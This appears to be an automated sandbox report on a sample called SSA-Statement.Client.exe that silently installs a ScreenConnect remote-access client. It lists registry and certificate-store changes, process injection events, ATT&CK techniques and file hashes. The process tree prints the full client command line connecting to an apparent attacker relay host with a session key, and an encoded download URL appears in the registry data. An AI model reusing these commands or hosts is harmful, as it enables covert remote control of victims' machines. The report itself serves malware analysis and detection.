Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c0 = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee6	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\lock!06000000d491770f78020000b00100000000000000000000 = 30303030303237382c30316462333435353562363133376130	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6578652c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c2c20747970653d77696e3332	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\Files\ScreenConnect.Core.dll_b96889d378047e27 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\lock!11000000bb90770f380b0000cc0a0000000000000000000020b25 = 30303030306233382c30316462333435353464373336626530	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb0 = 54007200750065000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3\SizeOfStronglyNamedComponent = acff000000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0017.0002_none_fabc737ee69f377c\SizeOfStronglyNamedComponent = e7d3020000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\lock!08000000d491770f78020000b00100000000000000000000 = 30303030303237382c30316462333435353562363133376130	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\Transform = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb0 = 0000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1db10da180e8ffe7\pin!S_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_none_4a31edb78203a9e7\identity = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0017.0002_none_15faadf56d0f44e3\DigestMethod = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0	ScreenConnect.WindowsClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "QQQ0ZARVO426JPJPVAHP8M83"	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1db10da180e8ffe7	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\implication!scre..tion_25b0fbb6ef7eb094_0017.0002_1db10da1 = 68747470733a2f2f767a63782e76696c6c61616e6163726f617469612e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32332e322e392e383436362c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178\SizeOfStronglyNamedComponent = 3bb8070000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Families\F_scre..tion_25b0fbb6ef7eb094_8c8febaddd6d59eb	ScreenConnect.WindowsClient.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-Statement.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-Statement.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	SSA-Statement.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	SSA-Statement.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	SSA-Statement.Client.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	SSA-Statement.Client.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2596	ScreenConnect.WindowsClient.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2704	ScreenConnect.ClientService.exe
2704	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	dfsvc.exe
Token: SeDebugPrivilege	2704	ScreenConnect.ClientService.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 2872	2772	SSA-Statement.Client.exe	30
PID 2772 wrote to memory of 2872	2772	SSA-Statement.Client.exe	30
PID 2772 wrote to memory of 2872	2772	SSA-Statement.Client.exe	30
PID 2772 wrote to memory of 2872	2772	SSA-Statement.Client.exe	30
PID 2872 wrote to memory of 632	2872	dfsvc.exe	32
PID 2872 wrote to memory of 632	2872	dfsvc.exe	32
PID 2872 wrote to memory of 632	2872	dfsvc.exe	32
PID 2872 wrote to memory of 632	2872	dfsvc.exe	32
PID 632 wrote to memory of 1492	632	ScreenConnect.WindowsClient.exe	33
PID 632 wrote to memory of 1492	632	ScreenConnect.WindowsClient.exe	33
PID 632 wrote to memory of 1492	632	ScreenConnect.WindowsClient.exe	33
PID 632 wrote to memory of 1492	632	ScreenConnect.WindowsClient.exe	33
PID 2704 wrote to memory of 2596	2704	ScreenConnect.ClientService.exe	35
PID 2704 wrote to memory of 2596	2704	ScreenConnect.ClientService.exe	35
PID 2704 wrote to memory of 2596	2704	ScreenConnect.ClientService.exe	35
PID 2704 wrote to memory of 2596	2704	ScreenConnect.ClientService.exe	35
PID 2704 wrote to memory of 2596	2704	ScreenConnect.ClientService.exe	35

C:\Users\Admin\AppData\Local\Temp\SSA-Statement.Client.exe
"C:\Users\Admin\AppData\Local\Temp\SSA-Statement.Client.exe"
1⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:632
  - - C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe" "?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&r=&i=Untitled%20Session" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1492

C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe
"C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.ClientService.exe" "?y=Guest&h=cdwe.sti1ureedn0reoa.de&p=5832&s=9f1abc6a-7e1d-4f39-a6d3-127997075d21&k=BgIAAACkAABSU0ExAAgAAAEAAQBVXsSEc%2bx9uXD3C%2f7hA6k%2bCkYq8qNt9ddXTDuk6xtcDXcigKgagdDrv%2fcdVObs%2b5PsIEqa3J7G2KVNlw%2fruJmp5gWKLUA7CGK0M2xYP%2fnHrh8PGKb6APgX8%2bMmK%2fRI%2fuG1ObyHzrZSA2zDxqMWtbhBTbrYOR9GzyZRtT2sHBbUlx41DAcKHlRcqgqrm7UWwNY1mXMg1RfS2uCkTVjdU3GL7AKxo9LZAF%2bNZ31xMPej0IfTdjxJIuBFFPQhiLUl3MrrnM%2bcDzOJ4R5qzkEDJux1InHPO4447uQgY2C%2fpH9XXbyUJCVvgFFCPS5LSQJiQ7CvgPW3fKiAsEahrr56vu2y&r=&i=Untitled%20Session" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\scre..tion_25b0fbb6ef7eb094_0017.0002_1a6cacead8517771\ScreenConnect.WindowsClient.exe" "RunRole" "91cd5336-09b9-4b80-a98b-ee0692cdede0" "User"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious behavior: AddClipboardFormatListener
  PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre...exe_25b0fbb6ef7eb094_0017.0002_none_a93db4211b84e004.cdf-ms
Size 23KB
SHA256 786fa26cc5a4348381da9ae0f6f4690dc8b8ae9cf4c43f1ba1bcf738f5f8c8c8
MD5 3bbc507347ec57b6676a8ea24c9d644f
SHA1 8aca276092b5e7ec18666d5a4321e73fe9e48d6d
SHA512 40173a65cd8653a1170e296c90858821174c8568096fddf740b1ab76eae98fddd8ac575d84aa0eada27da0eb2782e39cfbed86600e66c15528c08f83700892c8
SSDEEP 384:nka3z8oO6eX9zX9R/QPIBM7YW+++abnrp0:nc6eX9zX9R/QPI+0W+++a6
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..core_4b14c015c87c1ad8_0017.0002_none_64a715acd74fe178.cdf-ms
Size 3KB
SHA256 954d54273f32a72ae0c907e950b9f018044f06c3e5d06ba926769a4cc528d118
MD5 6ffddc5b5d20fa028d80a540ca29528e
SHA1 a58e48ef2cbe21a555113a8e362a567cc4fd7a2f
SHA512 2ea382ffb7101aae369cab67eba6ee182b22f64cb750e509d2118be6c57412d4629fcf17fb3b8155c3c45b06232ca10fdb5f46971bb48f045faa4bdfe14674cc
MD5 SHA1 SHA512

Submit Download

scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\QQQ0ZARV.O42\6JPJPVAH.P8M\manifests\scre..dows_4b14c015c87c1ad8_0017.0002_none_691eed8e139df4a8.cdf-ms
Size 5KB
SHA256 d1dfea5fdf7076e941d079876d576005d1ce535ae1f42d4ef5d8699ed04c0400
MD5 a08da0e5abc64d9918ba2e8c3a419d48
SHA1 54efcf50b143a4be4ccedecaffad7f7e821eb4bf
SHA512 e1fe4b8dc42dda19de2aa057709967435491fb043964f74b874761a0c900e127a9111d59ca1e86849a64f2fd148e725559b9daf741d90b7f90ac4ebf02e2079d
SSDEEP 96:Zslxqcl4UheV+Ww7nkMG2sA3eziBkv4ownMqGB/:ZAXl4tJPMjz6Y3W/
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..ient_4b14c015c87c1ad8_0017.0002_none_c5edeed0c033c485.cdf-ms

